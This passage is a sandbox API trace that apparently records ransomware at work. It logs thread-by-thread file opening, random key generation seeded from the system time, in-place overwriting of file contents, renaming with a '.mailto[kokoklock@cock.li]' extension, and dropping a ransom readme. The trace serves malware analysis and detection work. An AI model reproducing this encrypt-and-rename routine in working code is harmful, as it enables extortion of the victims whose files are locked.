lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb8afe74*=0x481, lpOverlapped=0x0) returned 1 [0071.323] CloseHandle (hObject=0x3b8) returned 1 [0071.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e81f0) returned 1 [0071.323] RtlExitUserThread (Status=0x1) Thread: id = 218 os_tid = 0x11e0 [0063.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0066.373] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.611] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x770 [0068.612] GetFileSizeEx (in: hFile=0x770, lpFileSize=0xb92fca8 | out: lpFileSize=0xb92fca8*=3859) returned 1 [0068.612] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0xf0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.612] ReadFile (in: hFile=0x770, lpBuffer=0xb92fc7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0xb92fc7c*, lpNumberOfBytesRead=0xb92fc78*=0x4, lpOverlapped=0x0) returned 1 [0068.613] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239e8 [0068.613] NtQuerySystemTime (in: CurrentTime=0xb92fc54 | out: CurrentTime=0xb92fc54*=132121176265097691) returned 0x0 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x790043f1 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xed3e712f [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xc66e439e [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x8ac543e9 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xdbaa3de5 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x1cdd6770 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x3f29cad8 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x752b2564 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xcbcca849 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x6328f045 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xa47a0e9 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x31edb18a [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x4c95b929 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xf6cc9a37 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xc651bc08 [0068.613] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x25c93520 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x56e36666 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x6f92282d [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x663b92b8 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x7ae0900e [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xc0dc6111 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xf0bdaaa3 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x621c3b21 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xae0e1b1e [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xa04fb4d8 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x1e89fb0d [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xa17264f [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xc06d8edf [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x9ccc2f11 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x31b8bf60 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0xf77640b5 [0068.614] RtlRandom (in: Seed=0xb92fc60 | out: Seed=0xb92fc60) returned 0x7ec0e2f6 [0068.625] ReadFile (in: hFile=0x770, lpBuffer=0x3475830, nNumberOfBytesToRead=0xf13, lpNumberOfBytesRead=0xb92fc54, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb92fc54*=0xf13, lpOverlapped=0x0) returned 1 [0068.625] SetFilePointerEx (in: hFile=0x770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb92fc1c | out: lpNewFilePointer=0x0) returned 1 [0068.625] WriteFile (in: hFile=0x770, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xf13, lpNumberOfBytesWritten=0xb92fc50, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xb92fc50*=0xf13, lpOverlapped=0x0) returned 1 [0068.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a60 [0068.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a88 [0068.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a88) returned 1 [0068.625] WriteFile (in: hFile=0x770, lpBuffer=0x3423a60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb92fc4c, lpOverlapped=0x0 | out: lpBuffer=0x3423a60*, lpNumberOfBytesWritten=0xb92fc4c*=0x20, lpOverlapped=0x0) returned 1 [0068.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a60) returned 1 [0068.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0068.625] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0068.625] WriteFile (in: hFile=0x770, lpBuffer=0x3423a38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0x3423a38*, lpNumberOfBytesWritten=0xb92fc78*=0x8, lpOverlapped=0x0) returned 1 [0068.626] WriteFile (in: hFile=0x770, lpBuffer=0xb92fc90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0xb92fc90*, lpNumberOfBytesWritten=0xb92fc78*=0x4, lpOverlapped=0x0) returned 1 [0068.626] WriteFile (in: hFile=0x770, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb92fc78*=0x4, lpOverlapped=0x0) returned 1 [0068.626] WriteFile (in: hFile=0x770, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb92fc78*=0x6c, lpOverlapped=0x0) returned 1 [0068.626] WriteFile (in: hFile=0x770, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xb92fc78*=0x20, lpOverlapped=0x0) returned 1 [0068.626] WriteFile (in: hFile=0x770, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb92fc78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb92fc78*=0x4, lpOverlapped=0x0) returned 1 [0068.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a10) returned 1 [0068.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a38) returned 1 [0068.626] CloseHandle (hObject=0x770) returned 1 [0071.345] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf98 [0071.345] wcscpy (in: _Dest=0x347bf98, _Source="C:\\588bce7c90097ed212\\1055\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf" [0071.345] wcscat (in: _Dest=0x347bf98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.345] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0071.348] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.348] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1055\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0071.348] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" [0071.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\d0e731-readme.txt")) returned 0x20 [0071.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa828) returned 1 [0071.349] RtlExitUserThread (Status=0x1) Thread: id = 219 os_tid = 0x11e4 [0063.479] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0064.635] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.326] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0071.326] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0xb9afbec | out: lpFileSize=0xb9afbec*=76818) returned 1 [0071.326] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x12c0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.326] ReadFile (in: hFile=0x3ac, lpBuffer=0xb9afbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0xb9afbc0*, lpNumberOfBytesRead=0xb9afbbc*=0x4, lpOverlapped=0x0) returned 1 [0071.327] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e38 [0071.327] NtQuerySystemTime (in: CurrentTime=0xb9afb98 | out: CurrentTime=0xb9afb98*=132121176292128938) returned 0x0 [0071.327] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xf6d1e396 [0071.327] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x4c206e42 [0071.327] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x31cb4ac4 [0071.327] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x8bdc0b05 [0071.327] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xa3139310 [0071.327] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xf4044e68 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x16a3aed2 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x24db4e8c [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xc79dda66 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xd791511f [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x2fc5d2a6 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xda98bc5b [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xfb91c540 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xb571e34f [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x22cc8cfa [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x38b3a974 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xe2bc9946 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x4a150b3d [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x369875f8 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xbcd40a1c [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x86b706f3 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xfd91b843 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xe624497d [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x4ca411d7 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x890d00d9 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x746bd97b [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x5e800d97 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x5d8ea9db [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x58479dd0 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x4546b42e [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0x274bbf74 [0071.328] RtlRandom (in: Seed=0xb9afba4 | out: Seed=0xb9afba4) returned 0xdb52e1a4 [0071.339] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.339] ReadFile (in: hFile=0x3ac, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb9afb70, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb9afb70*=0x4096, lpOverlapped=0x0) returned 1 [0071.340] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0071.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0071.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.340] WriteFile (in: hFile=0x3ac, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb9afb70, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xb9afb70*=0x4096, lpOverlapped=0x0) returned 1 [0071.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.341] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x12c12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb9afba8, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xb9afba8*=0x20, lpOverlapped=0x0) returned 1 [0071.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x3422e88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0x3422e88*, lpNumberOfBytesWritten=0xb9afbbc*=0x8, lpOverlapped=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0xb9afbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0xb9afbd4*, lpNumberOfBytesWritten=0xb9afbbc*=0x4, lpOverlapped=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb9afbbc*=0x4, lpOverlapped=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb9afbbc*=0x6c, lpOverlapped=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xb9afbbc*=0x20, lpOverlapped=0x0) returned 1 [0071.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb9afbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb9afbbc*=0x4, lpOverlapped=0x0) returned 1 [0071.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0071.342] CloseHandle (hObject=0x3ac) returned 1 [0071.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.342] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" [0071.342] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.342] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.342] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.342] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.343] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.343] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1055\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0071.343] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" [0071.343] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\d0e731-readme.txt")) returned 0xffffffff [0071.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0071.346] WriteFile (in: hFile=0x3c8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb9afbb8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb9afbb8*=0x481, lpOverlapped=0x0) returned 1 [0071.347] CloseHandle (hObject=0x3c8) returned 1 [0071.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e82c0) returned 1 [0071.347] RtlExitUserThread (Status=0x1) Thread: id = 220 os_tid = 0x11e8 [0063.479] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0066.373] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.627] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0068.627] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0xba2fcd4 | out: lpFileSize=0xba2fcd4*=4040) returned 1 [0068.627] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.627] ReadFile (in: hFile=0x76c, lpBuffer=0xba2fca8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0xba2fca8*, lpNumberOfBytesRead=0xba2fca4*=0x4, lpOverlapped=0x0) returned 1 [0068.629] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a10 [0068.629] NtQuerySystemTime (in: CurrentTime=0xba2fc80 | out: CurrentTime=0xba2fc80*=132121176265253904) returned 0x0 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x5d0645f0 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x75372502 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x265447c2 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x7bd2d32 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x7bd8789b [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x4724497a [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x8182626 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xe2f4eb88 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x4e2c9529 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x22db19ca [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x214b067d [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x421d76d0 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x98cdb5d0 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x6712f509 